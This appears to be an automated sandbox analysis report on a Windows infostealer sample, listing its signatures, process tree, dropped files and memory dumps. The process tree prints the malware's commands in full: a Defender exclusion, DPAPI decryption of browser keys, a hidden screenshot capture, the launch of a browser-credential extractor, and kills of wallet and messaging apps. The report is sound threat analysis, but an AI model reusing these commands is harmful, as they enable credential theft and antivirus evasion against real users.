Analysis

  • max time kernel
    150s
  • max time network
    97s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/07/2026, 00:52

General

  • Target
    2026-07-03_336f9ceb5e4ff70b44a642e89322a129_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  • Size 43.2MB
  • Sample260703-a77l2sd14p
  • SHA256 6d178ad346a93efbeb365f54654e87ffc6c72644cf08aab1c5948b10b0c0bc2b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 6 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-03_336f9ceb5e4ff70b44a642e89322a129_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-03_336f9ceb5e4ff70b44a642e89322a129_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Users\Admin\AppData\Local\Temp\2026-07-03_336f9ceb5e4ff70b44a642e89322a129_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
      C:\Users\Admin\AppData\Local\Temp\2026-07-03_336f9ceb5e4ff70b44a642e89322a129_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe C:\snapshot\Kynix_Bot\builds\a56a8b59\kynix.js --hidden
      2⤵
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5512
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5136
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4140
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:5572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1608
          • C:\Windows\system32\netsh.exe
            netsh advfirewall show allprofiles state
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:5396
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2752
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2464
          • C:\Windows\system32\reg.exe
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
            4⤵
            • Modifies registry key
            PID:1164
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4160
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            4⤵
            • Gathers network information
            PID:2320
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5400
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:5960
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2844
          • C:\Windows\system32\net.exe
            net session
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5872
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:1720
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2616
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2256
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1844
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5676
              • C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                "C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1760
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  6⤵
                    PID:1688
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    6⤵
                      PID:5920
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:712
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Steam.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:2440
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1764
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM javaw.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:2472
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:616
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Exodus.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:1620
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMPfi79GKeqpHUyB/Uhaf0K8wwy9+JwaxSHzZ1+TIzI9AAAAAA6AAAAAAgAAIAAAAE3fyXNykwjwH1tBMLzw1RNSwNuPoSlfWxIomj/4fO/4MAAAAA/LSuB2+BCu9dsdB1KdGGjFo/LjPIGhXb+YQca6WuJ1PjrvpL+w9lClSwJn/Tdhw0AAAABJvTWlvvKHtGqnic7tfFZ9ih++VINdw/idZ1KlBefX6Y11PSqU6k7J3SVNOjbSk9Zy+exfzeD123ESiQFa/HKG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4772
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMPfi79GKeqpHUyB/Uhaf0K8wwy9+JwaxSHzZ1+TIzI9AAAAAA6AAAAAAgAAIAAAAE3fyXNykwjwH1tBMLzw1RNSwNuPoSlfWxIomj/4fO/4MAAAAA/LSuB2+BCu9dsdB1KdGGjFo/LjPIGhXb+YQca6WuJ1PjrvpL+w9lClSwJn/Tdhw0AAAABJvTWlvvKHtGqnic7tfFZ9ih++VINdw/idZ1KlBefX6Y11PSqU6k7J3SVNOjbSk9Zy+exfzeD123ESiQFa/HKG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1180
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAjY4O9y90m7hFd1oTMjUOmAGnNU7Emu3SSSqe+b0KB1YAAAAADoAAAAACAAAgAAAAg2GzmX9izmVh/agwje4Nb8qWQRjliCAeCpSQp83S86MwAAAAAjYbz053K9e9Ei9d/yACP1+UeHya75LUss3sRy4Q0jUbCMMqqDRO7vnC6T/KgJJWQAAAAL7SZTXvTdeTnSy+o12CWiil592nWVmkdqfZgGH/XsaUc028yaeUu0r94pQpziYjHalFOTfZUuxEJw+2grM3PlA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5620
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAjY4O9y90m7hFd1oTMjUOmAGnNU7Emu3SSSqe+b0KB1YAAAAADoAAAAACAAAgAAAAg2GzmX9izmVh/agwje4Nb8qWQRjliCAeCpSQp83S86MwAAAAAjYbz053K9e9Ei9d/yACP1+UeHya75LUss3sRy4Q0jUbCMMqqDRO7vnC6T/KgJJWQAAAAL7SZTXvTdeTnSy+o12CWiil592nWVmkdqfZgGH/XsaUc028yaeUu0r94pQpziYjHalFOTfZUuxEJw+2grM3PlA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1388
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2816
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1048
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:600
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Telegram.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:264
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:2736
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:2972

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    z21fjfx9amo.zip

                    • Path C:\Users\Admin\AppData\Local\3a6573157d3b30d1\z21fjfx9amo.zip
                    • Size 5.5MB
                    • SHA256 930b8a1985b3c4aa77608808ae393a2c9f9aa69f95e90f7f50e054db2a04ab05
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 232272caa8763f633aa16bafae8474f4ae1064e6f70d8f4caa7f9ba53396a0c7
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 60ff3f3571575b49bf6df8f4f89f5f6a9aacbe2e40401bccf07d7b82d0807cb7
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_ojaxxxdl.z0h.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ojaxxxdl.z0h.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    chromelevator.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                    • Size 2.1MB
                    • SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    cookies.json

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.json
                    • Size 338B
                    • SHA256 629d9c39a9717980f7332d69429ef059c2b8ba3585a520e76d72b76e61e6e933
                    • MD5 SHA1 SHA512 TLSH

                    cookies.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.txt
                    • Size 365B
                    • SHA256 0a2b38249860b99bce30b029f1afde288e1994abcc192d23cf4f2600b949ecc9
                    • MD5 SHA1 SHA512 TLSH

                    history.json

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.json
                    • Size 126B
                    • SHA256 f0572f8305c0d48c347ffb6e3c058a8fded87306de67ea06d043892a00a3ad95
                    • MD5 SHA1 SHA512 TLSH

                    history.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.txt
                    • Size 153B
                    • SHA256 d3edaba2669e914a420b2bcd0aa355be05fec07371a5064acd2b96c78047a2d1
                    • MD5 SHA1 SHA512 TLSH

                    history.json

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\cyjywaoz.default-release\history.json
                    • Size 489B
                    • SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
                    • MD5 SHA1 SHA512 TLSH

                    history.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\cyjywaoz.default-release\history.txt
                    • Size 522B
                    • SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
                    • MD5 SHA1 SHA512 TLSH

                    memory/1388-47-0x000001AC334E0000-0x000001AC33530000-memory.dmp

                    memory/2256-10-0x0000021E670E0000-0x0000021E67102000-memory.dmp

                    memory/2256-17-0x0000021E67190000-0x0000021E6719A000-memory.dmp

                    memory/2256-16-0x0000021E673F0000-0x0000021E674A2000-memory.dmp

                    memory/2256-15-0x0000021E671A0000-0x0000021E671BE000-memory.dmp